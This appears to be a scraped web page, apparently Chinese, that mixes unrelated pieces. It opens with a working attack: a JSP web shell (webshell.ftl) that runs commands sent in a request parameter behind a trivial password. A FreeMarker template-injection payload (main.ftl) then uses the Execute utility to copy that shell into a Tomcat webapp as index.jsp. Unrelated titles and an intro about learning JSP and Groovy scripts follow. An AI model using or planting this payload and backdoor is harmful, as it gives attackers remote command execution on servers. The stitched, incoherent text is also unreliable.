# webshell.ftl
<%if ("023".equals(request.getParameter("pwd")))
{java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("i")).getInputStream();
int a = -1; byte[] b = new byte[2048];while((a=in.read(b))!=-1){out.println(new String(b));}}%>
# main.ftl
<#assign test="freemarker.template.utility.Execute"?new()>
${test("cp /home/bmpapp/upc_plugin_home/export_plugin/development/user/webshell.ftl
/home/bmpapp/tomcat/webapps/default.war/index.jsp")}
JSP学习(一):声明脚本、表达式脚本和代码脚本
虽然现在JSP用得不多了 ,但是很多学习JSP也就需要几天时间,而且很多项目仍然使用JSP,因此我也花几天时间学习一下JSP,要求自己能看懂代码就行。
【Groovy】Groovy 脚本调用 ( 命令行执行 Groovy 脚本并传入参数 | 获取 Groovy 脚本执行参数 )
【Groovy】Groovy 脚本调用 ( 命令行执行 Groovy 脚本并传入参数 | 获取 Groovy 脚本执行参数 )